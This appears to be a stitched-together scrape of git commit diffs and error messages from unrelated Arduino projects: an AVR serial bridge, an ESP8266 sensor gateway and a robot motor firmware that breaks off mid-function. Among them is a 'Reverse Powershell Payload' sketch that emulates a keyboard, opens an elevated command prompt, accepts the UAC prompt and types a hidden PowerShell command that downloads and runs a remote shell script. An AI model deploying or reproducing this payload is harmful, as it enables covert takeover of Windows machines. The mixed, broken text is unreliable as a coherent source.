+    UCSR##x##B = (1 << RXEN##x) | (1 << TXEN##x); \
+    g_serialUCSRA = &UCSR##x##A; \
+    g_serialUDR = &UDR##x; \
+    g_serialRXC = (1 << RXC##x); \
+    g_serialUDRE = (1 << UDRE##x);
+
+  switch (port)
+  {
+  case 0:
+    AUL_INIT_PORT(0)
+    break;
+  #if defined(UBRR1H)
+  case 1:
+    AUL_INIT_PORT(1)
+    break;
+  #endif
+  #if defined(UBRR2H)
+  case 2:
+    AUL_INIT_PORT(2)
+    break;
+  #endif
+  #if defined(UBRR3H)
+  case 3:
+    AUL_INIT_PORT(3)
+    break;
+  #endif
+  #if defined(UBRR4H)
+  case 4:
+    AUL_INIT_PORT(4)
+    break;
+  #endif
+  default:
+    break;
+  }
+}
+
+#define AUL_SerialAvailable() \
+  ((*g_serialUCSRA) & g_serialRXC)
+
+#define AUL_SerialRead() \
+  (*g_serialUDR)
+
+#define AUL_SerialWrite(x) \
+  { while (!((*g_serialUCSRA) & g_serialUDRE)); (*g_serialUDR) = (x); }
+
+static void AUL_SerialWriteBuf(const uint8_t* b, int16_t len)
+{
+  int16_t i;
+  for (i = 0; i < len; i++)
+    AUL_SerialWrite(b[i]);
+}
+
+static void AUL_SerialWriteStr(const char* b)
+{
+  int16_t i;
+  for (i = 0; b[i] != '\0'; i++)
+    AUL_SerialWrite(b[i]);
+}
+
+#endif // MULTIWII
+
+///////////////////////////////////////////////////////////////////////////////
+// Signal pin
+///////////////////////////////////////////////////////////////////////////////
+
+// Clear all timers and PWM settings
+static void DisableAllTimers()
+{
+  #define AUL_RESET_PORT(x) \
+    TCCR##x##B = 0; \
+    TCCR##x##A = 0;
+
+  // For mega8 and similar
+  #if defined(TCCR0)
+    TCCR0 = 0;
+  #endif
+  #if defined(TCCR1)
+    TCCR1 = 0;
+  #endif
+  #if defined(TCCR2)
+    TCCR2 = 0;
+  #endif
+
+  #if defined(TCCR0B)
+    AUL_RESET_PORT(0)
+  #endif
+  #if defined(TCCR1B)
+    AUL_RESET_PORT(1)
+  #endif
+  #if defined(TCCR2B)
+    AUL_RESET_PORT(2)
+  #endif
+  #if defined(TCCR3B)
+    AUL_RESET_PORT(3)
+  #endif
+  #if defined(TCCR4B)
+    AUL_RESET_PORT(4)
+  #endif
+  #if defined(TCCR5B)
+    AUL_RESET_PORT(5)
+  #endif
+  #if defined(TCCR6B)
+    AUL_RESET_PORT(6)
+  #endif
+}
+
+static void SignalPinStatus(char* buf)
+{
+  #define AUL_WRITE_PORT_INFO(x) \
+    *pos++ = #x[0]; \
+    pos = AUL_itoa(pincnt, pos); \
+    *pos++ = ':'; \
+    pincnt += 8;
+
+  char* pos = buf;
+  int8_t pincnt = 0;
+
+  pos[0] = 'P';
+  pos[1] = 'I';
+  pos[2] = 'N';
+  pos[3] = 'S';
+  pos[4] = ':';
+  pos += 5;
+
+  #if defined(PORTB)
+    AUL_WRITE_PORT_INFO(B)
+  #endif
+  #if defined(PORTC)
+    AUL_WRITE_PORT_INFO(C)
+  #endif
+  #if defined(PORTD)
+    AUL_WRITE_PORT_INFO(D)
+  #endif
+  #if defined(PORTE)
+    AUL_WRITE_PORT_INFO(E)
+  #endif
+  #if defined(PORTF)
+    AUL_WRITE_PORT_INFO(F)
+  #endif
+  #if defined(PORTG)
+    AUL_WRITE_PORT_INFO(G)
+  #endif
+  #if defined(PORTH)
+    AUL_WRITE_PORT_INFO(H)
+  #endif
+  #if defined(PORTI)
+    AUL_WRITE_PORT_INFO(I)
+  #endif
+  #if defined(PORTJ)
+    AUL_WRITE_PORT_INFO(J)
+  #endif
+  #if defined(PORTK)
+    AUL_WRITE_PORT_INFO(K)
+  #endif
+  #if defined(PORTL)
+    AUL_WRITE_PORT_INFO(L)
+  #endif
+
+  #if defined(PORTA)
+    AUL_WRITE_PORT_INFO(A)
+  #endif
+
+  *pos = '\0';
+}
+
+static void SignalPinInit(int8_t pin)
+{
+  #define AUL_SETUP_PORT(x) \
+    if (pin < (pincnt += 8)) \
+    { \
+      g_signalDDR = &DDR##x; \
+      g_signalPORT = &PORT##x; \
+      g_signalPIN = &PIN##x; \
+      g_signalPinPortNum = (1 << (pin - (pincnt - 8))); \
+      goto finished; \
+    }
+
+  int8_t pincnt = 0;
+
+  g_signalPinNum = pin;
+
+  #if defined(PORTB)
+    AUL_SETUP_PORT(B);
+  #endif
+  #if defined(PORTC)
+    AUL_SETUP_PORT(C);
+  #endif
+  #if defined(PORTD)
+    AUL_SETUP_PORT(D);
+  #endif
+  #if defined(PORTE)
+    AUL_SETUP_PORT(E);
+  #endif
+  #if defined(PORTF)
+    AUL_SETUP_PORT(F);
+  #endif
+  #if defined(PORTG)
+    AUL_SETUP_PORT(G);
+  #endif
+  #if defined(PORTH)
+    AUL_SETUP_PORT(H);
+  #endif
+  #if defined(PORTI)
+    AUL_SETUP_PORT(I);
+  #endif
+  #if defined(PORTJ)
+    AUL_SETUP_PORT(J);
+  #endif
+  #if defined(PORTK)
+    AUL_SETUP_PORT(K);
+  #endif
+  #if defined(PORTL)
+    AUL_SETUP_PORT(L);
+  #endif
+
+  #if defined(PORTA)
+    AUL_SETUP_PORT(A);
+  #endif
+
+finished:
+  AUL_PINHIGH; // Enable pull-up
+  AUL_PININPUT;
+}
+
+///////////////////////////////////////////////////////////////////////////////
+// SENDING on signal pin
+///////////////////////////////////////////////////////////////////////////////
+
+static void SendByte(uint8_t b)
+{
+  uint8_t i;
+  for (i = 1; i; i <<= 1)
+  {
+    if (b & i)
+    {
+      AUL_PINHIGH;
+      AUL_DELAYTICKS(g_bitTimeSend);
+      AUL_PINLOW;
+      AUL_DELAYTICKS(g_bitTimeSend);
+    }
+    else
+    {
+      AUL_PINHIGH;
+      AUL_DELAYTICKS(g_bitTimeSendHalf);
+      AUL_PINLOW;
+      AUL_DELAYTICKS(g_bitTimeSendHalf);
+      AUL_PINHIGH;
+      AUL_DELAYTICKS(g_bitTimeSendHalf);
+      AUL_PINLOW;
+      AUL_DELAYTICKS(g_bitTimeSendHalf);
+    }
+  }
+}
+
+///////////////////////////////////////////////////////////////////////////////
+// RECEIVE on signal pin
+///////////////////////////////////////////////////////////////////////////////
+
+#define AUL_SPINPINHIGH \
+  TCNT2 = 0; \
+  while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }
+
+#define AUL_SPINPINLOW \
+  TCNT2 = 0; \
+  while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }
+
+#define AUL_NT_SPINPINHIGH \
+  while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }
+
+#define AUL_NT_SPINPINLOW \
+  while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }
+
+#define AUL_READBIT \
+  AUL_SPINPINHIGH \
+  AUL_NT_SPINPINLOW \
+  if (TCNT2 <= g_shortBitTime) \
+  { \
+    AUL_SPINPINHIGH \
+    AUL_NT_SPINPINLOW \
+    b = 0; \
+  } \
+  else \
+    b = 1;
+
+static int8_t ReadLeader()
+{
+  uint8_t i;
+
+  // Skip the first few to let things stabilize
+  for (i = 0; i < 9; i++)
+  {
+    AUL_SPINPINHIGH
+    AUL_NT_SPINPINLOW
+  }
+
+#ifndef AUL_FIXED_TIMING
+  // Calculate timing from header
+  AUL_SPINPINHIGH
+  AUL_NT_SPINPINLOW
+  g_bitTime = TCNT2;
+  g_shortBitTime = (g_bitTime >> 1) + (g_bitTime >> 2);
+#else
+  // Use fixed timing
+  g_bitTime = g_bitTimeSend << 1;
+  g_shortBitTime = g_bitTimeSend + g_bitTimeSendHalf;
+#endif
+
+  // Read until we get a 0 bit
+  while (1)
+  {
+    uint8_t b;
+    AUL_READBIT // Sets b to the bit value
+
+    if (!b)
+      return 0;
+  }
+
+timeout:
+  return -1;
+}
+
+static void SetBitTime(uint16_t t)
+{
+  if (t < AUL_MIN_BITTIME)
+    t = AUL_MIN_BITTIME;
+  else if (t > AUL_MAX_BITTIME)
+    t = AUL_MAX_BITTIME;
+
+  if (t * (F_CPU / 1000000) < 242)
+  {
+    g_timerScale = 2;
+    g_timerConfig = (1 << CS20);
+  }
+  else if (t * (F_CPU / 1000000) / 8 < 242)
+  {
+    g_timerScale = 16;
+    g_timerConfig = (1 << CS21);
+  }
+  else if (t * (F_CPU / 1000000) / 32 < 242)
+  {
+    g_timerScale = 64;
+    g_timerConfig = (1 << CS21) | (1 << CS20);
+  }
+  else
+  {
+    return; // invalid time, no change
+  }
+
+  g_bitTimeSend = AUL_MICROS_TO_TICKS(t);
+  g_bitTimeSendHalf = (g_bitTimeSend >> 1);
+}
+
+#if !defined(MULTIWII)
+static uint32_t EERead32(int pos)
+{
+  uint32_t value;
+  ((char*)&value)[0] = EEPROM.read(pos);
+  ((char*)&value)[1] = EEPROM.read(pos + 1);
+  ((char*)&value)[2] = EEPROM.read(pos + 2);
+  ((char*)&value)[3] = EEPROM.read(pos + 3);
+  return value;
+}
+
+static void EEWrite32(int pos, uint32_t value)
+{
+  EEPROM.write(pos, ((char*)&value)[0]);
+  EEPROM.write(pos + 1, ((char*)&value)[1]);
+  EEPROM.write(pos + 2, ((char*)&value)[2]);
+  EEPROM.write(pos + 3, ((char*)&value)[3]);
+}
+#endif // !MULTIWII
+
+///////////////////////////////////////////////////////////////////////////////
+// Main
+///////////////////////////////////////////////////////////////////////////////
+
+void AUL_loop(uint8_t port)
+{
+  // Disable interrupts and timers
+  cli();
+  DisableAllTimers();
+
+  #if defined(MULTIWII)
+    #if defined(BUZZERPIN_OFF)
+      BUZZERPIN_OFF;
+    #endif
+    #if defined(LEDPIN_OFF)
+      LEDPIN_OFF;
+    #endif
+  #endif
+
+  #if defined(MULTIWII)
+    AUL_SerialInit(port);
+    SetBitTime(AUL_DEFAULT_BITTIME);
+    SignalPinInit(AUL_DEFAULT_PIN);
+  #else
+    if (EEPROM.read(0) != 'a' ||
+        EEPROM.read(1) != 'u' ||
+        EEPROM.read(2) != 'l')
+    {
+      EEPROM.write(0, 'a');
+      EEPROM.write(1, 'u');
+      EEPROM.write(2, 'l');
+      EEPROM.write(3, 1); // version
+      EEPROM.write(AUL_EEPROM_PIN, AUL_DEFAULT_PIN);
+      EEPROM.write(AUL_EEPROM_BITTIME, AUL_DEFAULT_BITTIME);
+      EEWrite32(AUL_EEPROM_BAUD, AUL_SERIALRATE);
+    }
+
+    SignalPinInit(EEPROM.read(AUL_EEPROM_PIN));
+    SetBitTime(EEPROM.read(AUL_EEPROM_BITTIME));
+
+    g_baudRate = EERead32(AUL_EEPROM_BAUD);
+    AUL_SerialInit(port);
+
+    sei(); // Re-enable interrupts for Serial
+  #endif
+
+  // Set timer2 to count ticks
+  AUL_SET_TIMER_MODE;
+
+  // The buffer always has the leader at the start
+  uint8_t buf[AUL_BUFSIZE] = { 0xFF, 0xFF, 0x7F };
+  uint8_t lastPin = 0;
+  int16_t buflen, i;
+
+  while (1)
+  {
+    if (AUL_SerialAvailable())
+    {
+      buflen = 3;
+      buf[buflen++] = AUL_SerialRead();
+
+      // Temporarily set timer2 to count ticks/128
+#if defined(__AVR_ATmega8__)
+      TCCR2 = (1 << CS22) | (1 << CS20);
+#else
+      TCCR2B = (1 << CS22) | (1 << CS20);
+#endif
+      AUL_SYNC_PRESCALER;
+      TCNT2 = 0;
+      // Buffer data until the serial timeout
+      do {
+         if (AUL_SerialAvailable())
+         {
+           buf[buflen++] = AUL_SerialRead();
+           TCNT2 = 0;
+         }
+      } while (TCNT2 < AUL_SERIALTIMEOUT);
+
+      // Set timer2 back to normal
+      AUL_SET_TIMER_MODE;
+
+      if (buf[3] == '$' && buf[4] == 'M' && buf[5] == '<')
+      {
+#if !defined(MULTIWII)
+        int8_t setbaud = 0;
+#endif
+
+        buf[buflen] = '\0';
+
+        switch(buf[6])
+        {
+        case 'B': { // BITTIME
+          SetBitTime(AUL_atoi((const char*)&buf[7]));
+          break; }
+        case 'P': // SELECT PORT
+          SignalPinInit(AUL_atoi((const char*)&buf[7]));
+          break;
+#if !defined(MULTIWII)
+        case 'R': // BAUD RATE
+          g_baudRate = AUL_atoi((const char*)&buf[7]);
+
+          if (g_baudRate < 9600)
+            g_baudRate = 9600;
+
+          setbaud = 1;
+          break;
+        case 'W': // WRITE EEPROM settings
+          EEPROM.write(AUL_EEPROM_PIN, g_signalPinNum);
+          EEPROM.write(AUL_EEPROM_BITTIME, AUL_MICROS_TO_TICKS_R(g_bitTimeSend));
+          EEWrite32(AUL_EEPROM_BAUD, g_baudRate);
+          AUL_SerialWriteStr("saved:");
+          break;
+#endif // !MULTIWII
+        default:
+          break;
+        }
+
+        // Send status afterwards
+        char* pos = (char*)&buf[3];
+        *pos++ = 'P';
+        pos = AUL_itoa(g_signalPinNum, pos);
+        pos[0] = ':';
+        pos[1] = 'B';
+        pos += 2;
+        pos = AUL_itoa(AUL_MICROS_TO_TICKS_R(g_bitTimeSend), pos);
+        pos[0] = ':';
+        pos[1] = 'R';
+        pos += 2;
+        pos = AUL_itoa(g_baudRate, pos);
+        *pos++ = ':';
+
+        SignalPinStatus(pos);
+
+        AUL_SerialWriteStr((const char*)&buf[3]);
+        AUL_SerialWrite('\n');
+
+#if !defined(MULTIWII)
+        if (setbaud)
+        {
+          // Arduino Serial.flush does not work correctly
+          Serial.flush();
+
+          // Temporarily set timer2 to count ticks/128
+#if defined(__AVR_ATmega8__)
+          TCCR2 = (1 << CS22) | (1 << CS20);
+#else
+          TCCR2B = (1 << CS22) | (1 << CS20);
+#endif
+          AUL_DELAYTICKS(AUL_SERIALTIMEOUT);
+          AUL_DELAYTICKS(AUL_SERIALTIMEOUT);
+          AUL_SET_TIMER_MODE;
+
+          AUL_SerialInit(port);
+        }
+#endif // !MULTIWII
+      }
+      else
+      {
+        AUL_PINOUTPUT;
+        AUL_SYNC_PRESCALER;
+
+        // Send data over signal pin
+        for (i = 0; i < buflen; i++)
+          SendByte(buf[i]);
+
+        // Trailer
+        AUL_PINHIGH;
+        AUL_DELAYTICKS(g_bitTimeSendHalf);
+
+        AUL_PININPUT; // Pull-up is enabled from previous PINHIGH
+        lastPin = 1;
+      }
+    }
+    else
+    {
+      // Here we look for a low to high transition on the signal pin
+      uint8_t curPin = AUL_PINREAD;
+
+      if (!lastPin && curPin)
+      {
+        AUL_SYNC_PRESCALER;
+
+        // Buffer data from signal pin then write to serial port
+        if (ReadLeader() == 0)
+        {
+          uint8_t i, byt, b;
+          buflen = 3;
+
+          // Read bytes until timeout
+          while (1)
+          {
+            for (i = 0, byt = 0; i < 8; i++)
+            {
+              AUL_READBIT // Sets b to the bit value
+              byt |= b << i;
+            }
+
+            buf[buflen++] = byt;
+          }
+
+timeout:
+          AUL_SerialWriteBuf(&buf[3], buflen - 3);
+        }
+      }
+
+      lastPin = curPin;
+    }
+  }
+}
+
+#if !defined(MULTIWII)
+
+int main(int argc, char* argv[])
+{
+  AUL_loop(0);
+  return 0;
+}
+
+#endif // !MULTIWII
+


Added Reverse Powershell Payload for Windows 7

error: pathspec 'ReversePowershell_Payload/ReversePowershell_Payload.ino' did not match any file(s) known to git

--- ReversePowershell_Payload/ReversePowershell_Payload.ino
+++ ReversePowershell_Payload/ReversePowershell_Payload.ino
@@ -0,0 +1,61 @@
+// Reverse Powershell Payload
+// Target OS: Windows 7
+
+#include <Keyboard.h>
+#include <HID.h>
+
+// Init function
+void setup()
+{
+  // Start Keyboard
+  Keyboard.begin();
+
+  delay(2000);
+
+  // Start Payload
+  Keyboard.press(KEY_LEFT_CTRL);
+  delay(1000);
+  Keyboard.press(KEY_ESC);
+  delay(1000);
+  Keyboard.releaseAll();
+
+  // type CMD
+  Keyboard.print("cmd");
+
+  Keyboard.press(KEY_LEFT_CTRL);
+  delay(1000);
+  Keyboard.press(KEY_LEFT_SHIFT);
+  delay(1000);
+  Keyboard.press(KEY_RETURN);
+  delay(1000);
+  Keyboard.releaseAll();
+  delay(500);
+
+  // klik "Yes"
+  Keyboard.press(KEY_LEFT_ALT);
+  delay(1000);
+  Keyboard.press('y');
+  delay(1000);
+  Keyboard.releaseAll();
+  delay(1000);
+
+  // execute reverse shell payload with powershell
+  Keyboard.print("powershell -windowstyle hidden \"[system.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.21/shell.txt')\"");
+  typeKey(KEY_RETURN);
+
+  // End Payload
+
+  // Stop Keyboard
+  Keyboard.end();
+}
+
+// Unused
+void loop() {}
+
+// Utility function
+void typeKey(int key){
+  Keyboard.press(key);
+  delay(500);
+  Keyboard.release(key);
+}
+


ALL THE PRONOUNS

ALL THE PRONOUNS

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rosalindfdt/huzzahbadge.git/'


Added files via upload

Added files via upload

error: pathspec 'Software/Esp8266Gateway.ino' did not match any file(s) known to git

--- Software/Esp8266Gateway.ino
+++ Software/Esp8266Gateway.ino
@@ -0,0 +1,270 @@
+// Wemos D1 mini 160Mhz, Serial, 115200, 4M(3M SPIFFS), COMx
+// Build with MySensors lib 1.5.4
+// Build with ESP core lib 1.6.5-947-g39819f0
+
+/**
+ * The MySensors Arduino library handles the wireless radio link and protocol
+ * between your home built sensors/actuators and HA controller of choice.
+ * The sensors forms a self healing radio network with optional repeaters. Each
+ * repeater and gateway builds a routing tables in EEPROM which keeps track of the
+ * network topology allowing messages to be routed to nodes.
+ *
+ * Created by Henrik Ekblad <henrik.ekblad@mysensors.org>
+ * Copyright (C) 2013-2015 Sensnology AB
+ * Full contributor list: https://github.com/mysensors/Arduino/graphs/contributors
+ *
+ * Documentation: http://www.mysensors.org
+ * Support Forum: http://forum.mysensors.org
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * version 2 as published by the Free Software Foundation.
+ *
+ *******************************
+ *
+ * REVISION HISTORY
+ * Version 1.0 - Henrik EKblad
+ * Contribution by a-lurker and Anticimex,
+ * Contribution by Norbert Truchsess <norbert.truchsess@t-online.de>
+ * Contribution by Ivo Pullens (ESP8266 support)
+ *
+ * DESCRIPTION
+ * The EthernetGateway sends data received from sensors to the WiFi link.
+ * The gateway also accepts input on ethernet interface, which is then sent out to the radio network.
+ *
+ * VERA CONFIGURATION:
+ * Enter "ip-number:port" in the ip-field of the Arduino GW device. This will temporarily override any serial configuration for the Vera plugin.
+ * E.g. If you want to use the defualt values in this sketch enter: 192.168.178.66:5003
+ *
+ * LED purposes:
+ * - To use the feature, uncomment WITH_LEDS_BLINKING in MyConfig.h
+ * - RX (green) - blink fast on radio message recieved. In inclusion mode will blink fast only on presentation recieved
+ * - TX (yellow) - blink fast on radio message transmitted. In inclusion mode will blink slowly
+ * - ERR (red) - fast blink on error during transmission error or recieve crc error
+ *
+ * See http://www.mysensors.org/build/ethernet_gateway for wiring instructions.
+ * The ESP8266 however requires different wiring:
+ * nRF24L01+  ESP8266
+ * VCC        VCC
+ * CE         GPIO4
+ * CSN/CS     GPIO15
+ * SCK        GPIO14
+ * MISO       GPIO12
+ * MOSI       GPIO13
+ *
+ * Not all ESP8266 modules have all pins available on their external interface.
+ * This code has been tested on an ESP-12 module.
+ * The ESP8266 requires a certain pin configuration to download code, and another one to run code:
+ * - Connect REST (reset) via 10K pullup resistor to VCC, and via switch to GND ('reset switch')
+ * - Connect GPIO15 via 10K pulldown resistor to GND
+ * - Connect CH_PD via 10K resistor to VCC
+ * - Connect GPIO2 via 10K resistor to VCC
+ * - Connect GPIO0 via 10K resistor to VCC, and via switch to GND ('bootload switch')
+ *
+  * Inclusion mode button:
+ * - Connect GPIO5 via switch to GND ('inclusion switch')
+ *
+ * Hardware SHA204 signing is currently not supported!
+ *
+ * Make sure to fill in your ssid and WiFi password below for ssid & pass.
+ */
+#define NO_PORTB_PINCHANGES
+
+#include <SPI.h>
+
+#include <MySigningNone.h>
+#include <MySigningAtsha204Soft.h>
+#include <MyTransportNRF24.h>
+#include <MyTransportRFM69.h>
+#include <EEPROM.h>
+#include <MyHwESP8266.h>
+#include <ESP8266WiFi.h>
+
+#include <MyParserSerial.h>
+#include <MySensor.h>
+#include <stdarg.h>
+#include "GatewayUtil.h"
+
+//Adapt to your network
+const char *ssid =  "mySSID";    // cannot be longer than 32 characters!
+const char *pass =  "myPWD"; //
+
+#define INCLUSION_MODE_TIME 1 // Number of minutes inclusion mode is enabled
+#define INCLUSION_MODE_PIN  5 // Digital pin used for inclusion mode button -> HSU D1 pin
+
+#define RADIO_CE_PIN        4   // radio chip enable ->hsu number refer to gpio pin number ie D2 pin
+#define RADIO_SPI_SS_PIN    15  // radio SPI serial select -> HSU D8 pin
+
+
+#ifdef WITH_LEDS_BLINKING
+#define RADIO_ERROR_LED_PIN BUILTIN_LED  // Error led pin
+#define RADIO_RX_LED_PIN    BUILTIN_LED  // Receive led pin
+#define RADIO_TX_LED_PIN    BUILTIN_LED  // the PCB, on board LED
+#endif
+
+
+// NRFRF24L01 radio driver (set low transmit power by default)
+MyTransportNRF24 transport(RADIO_CE_PIN, RADIO_SPI_SS_PIN, RF24_PA_LEVEL_GW);
+//MyTransportRFM69 transport;
+
+
+// Message signing driver (signer needed if MY_SIGNING_FEATURE is turned on in MyConfig.h)
+#ifdef MY_SIGNING_FEATURE
+MySigningNone signer;
+//MySigningAtsha204Soft signer;
+#endif
+
+// Hardware profile
+MyHwESP8266 hw;
+
+// Construct MySensors library (signer needed if MY_SIGNING_FEATURE is turned on in MyConfig.h)
+// To use LEDs blinking, uncomment WITH_LEDS_BLINKING in MyConfig.h
+MySensor gw(transport, hw
+#ifdef MY_SIGNING_FEATURE
+    , signer
+#endif
+#ifdef WITH_LEDS_BLINKING
+  , RADIO_RX_LED_PIN, RADIO_TX_LED_PIN, RADIO_ERROR_LED_PIN
+#endif
+  );
+
+
+#define IP_PORT 5003         // The port you want to open
+#define MAX_SRV_CLIENTS 3    // how many clients should be able to telnet to this ESP8266 - ie 2 JEEDOM + 1 Telnet
+
+// a R/W server on the port
+static WiFiServer server(IP_PORT);
+static WiFiClient clients[MAX_SRV_CLIENTS];
+static bool clientsConnected[MAX_SRV_CLIENTS];
+static inputBuffer inputString[MAX_SRV_CLIENTS];
+
+#define ARRAY_SIZE(x)  (sizeof(x)/sizeof(x[0]))
+
+void output(const char *fmt, ... ) {
+	char serialBuffer[MAX_SEND_LENGTH];
+	va_list args;
+	va_start (args, fmt );
+	vsnprintf_P(serialBuffer, MAX_SEND_LENGTH, fmt, args);
+	va_end (args);
+	Serial.print(serialBuffer);
+	for (uint8_t i = 0; i < ARRAY_SIZE(clients); i++) {
+		if (clients[i] && clients[i].connected()) {
+//			Serial.print("Client "); Serial.print(i); Serial.println(" write");
+			clients[i].write((uint8_t*)serialBuffer, strlen(serialBuffer));
+		}
+	}
+}
+
+// HSU To display MAC Address
+uint8_t MAC_array[6];
+char MAC_char[18];
+
+void setup() {
+	// Setup console
+	hw_init();
+	Serial.begin(115200);
+	Serial.println(); Serial.println();
+	Serial.println("ESP8266 MySensors Gateway");
+	Serial.print("Connecting to "); Serial.println(ssid);
+
+	(void)WiFi.begin(ssid, pass);
+	// HSU Addition to disable AP and display MAC address
+	WiFi.mode(WIFI_STA);
+	WiFi.macAddress(MAC_array);
+	Serial.print("MAC Address = ");
+	for (int i = 0; i < sizeof(MAC_array); ++i){
+		sprintf(MAC_char,"%s%02x:",MAC_char,MAC_array[i]);
+	}
+	Serial.println(MAC_char); //- See more at: http://www.esp8266.com/viewtopic.php?f=29&t=3587
+	// End HSU
+
+	while (WiFi.status() != WL_CONNECTED) {
+		delay(500);
+		Serial.print(".");
+	}
+	Serial.println("Connected!");
+	Serial.print("IP: "); Serial.println(WiFi.localIP());
+	Serial.println(); Serial.println(); //HSU
+	Serial.flush();
+
+	setupGateway(INCLUSION_MODE_PIN, INCLUSION_MODE_TIME, output);
+
+	// Initialize gateway at maximum PA level, channel 70 and callback for write operations
+	gw.begin(incomingMessage, 0, true, 0);
+
+	// start listening for clients
+	server.begin();
+	server.write("0;0;3;0;2;");server.write(LIBRARY_VERSION);  //HSU needed for Jeedom plugin
+	server.setNoDelay(true);
+}
+
+void loop() {
+	gw.process();
+
+	checkButtonTriggeredInclusion();
+	checkInclusionFinished();
+
+	// Go over list of clients and stop any that are no longer connected.
+	// If the server has a new client connection it will be assigned to a free slot.
+	bool allSlotsOccupied = true;
+	for (uint8_t i = 0; i < ARRAY_SIZE(clients); i++){
+		if (!clients[i].connected()) {
+			if (clientsConnected[i]) {
+				Serial.print("Client "); Serial.print(i); Serial.println(" disconnected");
+				clients[i].stop();
+			}
+			//check if there are any new clients
+			if (server.hasClient()) {
+				clients[i] = server.available();
+				inputString[i].idx = 0;
+				Serial.print("Client "); Serial.print(i); Serial.println(" connected");
+				output(PSTR("0;0;%d;0;%d;Gateway startup complete.\n"),  C_INTERNAL, I_GATEWAY_READY);
+			}
+		}
+		bool connected = clients[i].connected();
+		clientsConnected[i] = connected;
+		allSlotsOccupied &= connected;
+	}
+	if (allSlotsOccupied && server.hasClient()){
+		//no free/disconnected spot so reject
+		Serial.println("No free slot available");
+		WiFiClient c = server.available();
+		c.stop();
+	}
+
+	// Loop over clients connect and read available data
+	for (uint8_t i = 0; i < ARRAY_SIZE(clients); i++){
+		while(clients[i].connected() && clients[i].available()){
+			char inChar = clients[i].read();
+			if ( inputString[i].idx < MAX_RECEIVE_LENGTH - 1 ){
+				// if newline then command is complete
+				if (inChar == '\n'){
+					// a command was issued by the client
+					// we will now try to send it to the actuator
+					inputString[i].string[inputString[i].idx] = 0;
+
+					// echo the string to the serial port
+					Serial.print("Client "); Serial.print(i); Serial.print(": "); Serial.println(inputString[i].string);
+
+					parseAndSend(gw, inputString[i].string);
+
+					// clear the string:
+					inputString[i].idx = 0;
+					// Finished with this client's message. Next loop() we'll see if there's more to read.
+					break;
+				}
+				else {
+					// add it to the inputString:
+					inputString[i].string[inputString[i].idx++] = inChar;
+				}
+			}
+			else {
+				// Incoming message too long. Throw away
+				Serial.print("Client "); Serial.print(i); Serial.println(": Message too long");
+				inputString[i].idx = 0;
+				// Finished with this client's message. Next loop() we'll see if there's more to read.
+				break;
+			}
+		}
+	}
+}


Added firmware for testing robot

Added firmware for testing robot

error: pathspec 'RobotFirmware/TestingRobot/TestingRobot.ino' did not match any file(s) known to git

--- RobotFirmware/TestingRobot/TestingRobot.ino
+++ RobotFirmware/TestingRobot/TestingRobot.ino
@@ -0,0 +1,157 @@
+#include <SoftwareSerial.h>
+
+SoftwareSerial mySerial(52, 53);
+
+#include <AFMotor.h>
+
+AF_DCMotor m_left(4);
+AF_DCMotor m_right(1);
+
+int MAX_LEFT = 250;
+int MAX_RIGHT = 250;
+
+int ledpin = 13;
+String cmd;
+boolean stringComplete = false;
+
+void setup() {
+  pinMode(ledpin, OUTPUT);
+
+  set_speed(50);
+  stop_motors();
+
+  Serial.begin(9600);
+  Serial.println("start");
+
+  mySerial.begin(9600);
+  mySerial.println("i'm ready");
+}
+
+void loop(){
+  if(mySerial.available()) {
+    cmd = "";
+    while(mySerial.available() > 0) {
+      char inChar = (char)mySerial.read();
+      if (inChar == '\n' || inChar == '\r' || inChar == '|') {
+        stringComplete = true;
+        cmd += "\0";
+      } else {
+        cmd += inChar;
+      }
+    }
+    Serial.println(cmd);
+    if(cmd.startsWith("led_on")) {
+      Serial.println("Led on");
+      digitalWrite(ledpin, HIGH);
+    } else if(cmd.startsWith("led_off")) {
+      Serial.println("Led off");
+      digitalWrite(ledpin, LOW);
+    } else if(cmd.startsWith("drive_fwd")) {
+      int fst_colon = cmd.indexOf(":");
+      int sec_colon = cmd.indexOf(":", fst_colon+1);
+      if(fst_colon != -1 && sec_colon != -1) {
+        int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();
+        int pwr = (cmd.substring(sec_colon+1)).toInt();
+        Serial.print("Driving fwd for ");
+        Serial.print(time);
+        Serial.print("ms with ");
+        Serial.print(pwr);
+        Serial.println(" power");
+
+        set_speed(pwr);
+        drive_fwd();
+        delay(time);
+        stop_motors();
+      }
+    } else if(cmd.startsWith("drive_bwd")) {
+      int fst_colon = cmd.indexOf(":");
+      int sec_colon = cmd.indexOf(":", fst_colon+1);
+      if(fst_colon != -1 && sec_colon != -1) {
+        int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();
+        int pwr = (cmd.substring(sec_colon+1)).toInt();
+        Serial.print("Driving bwd for ");
+        Serial.print(time);
+        Serial.print("ms with ");
+        Serial.print(pwr);
+        Serial.println(" power");
+
+        set_speed(pwr);
+        drive_bwd();
+        delay(time);
+        stop_motors();
+      }
+    } else if(cmd.startsWith("turn_right")) {
+      int fst_colon = cmd.indexOf(":");
+      int sec_colon = cmd.indexOf(":", fst_colon+1);
+      if(fst_colon != -1 && sec_colon != -1) {
+        int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();
+        int pwr = (cmd.substring(sec_colon+1)).toInt();
+        Serial.print("Turn right for ");
+        Serial.print(time);
+        Serial.print("ms with ");
+        Serial.print(pwr);
+        Serial.println(" power");
+
+        set_speed(pwr);
+        turn_right();
+        delay(time);
+        stop_motors();
+      }
+    } else if(cmd.startsWith("turn_left")) {
+      int fst_colon = cmd.indexOf(":");
+      int sec_colon = cmd.indexOf(":", fst_colon+1);
+      if(fst_colon != -1 && sec_colon != -1) {
+        int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();
+        int pwr = (cmd.substring(sec_colon+1)).toInt();
+        Serial.print("Turn left for ");
+        Serial.print(time);
+        Serial.print("ms with ");
+        Serial.print(pwr);
+        Serial.println(" power");
+
+        set_speed(pwr);
+        turn_left();
+        delay(time);
+        stop_motors();
+      }
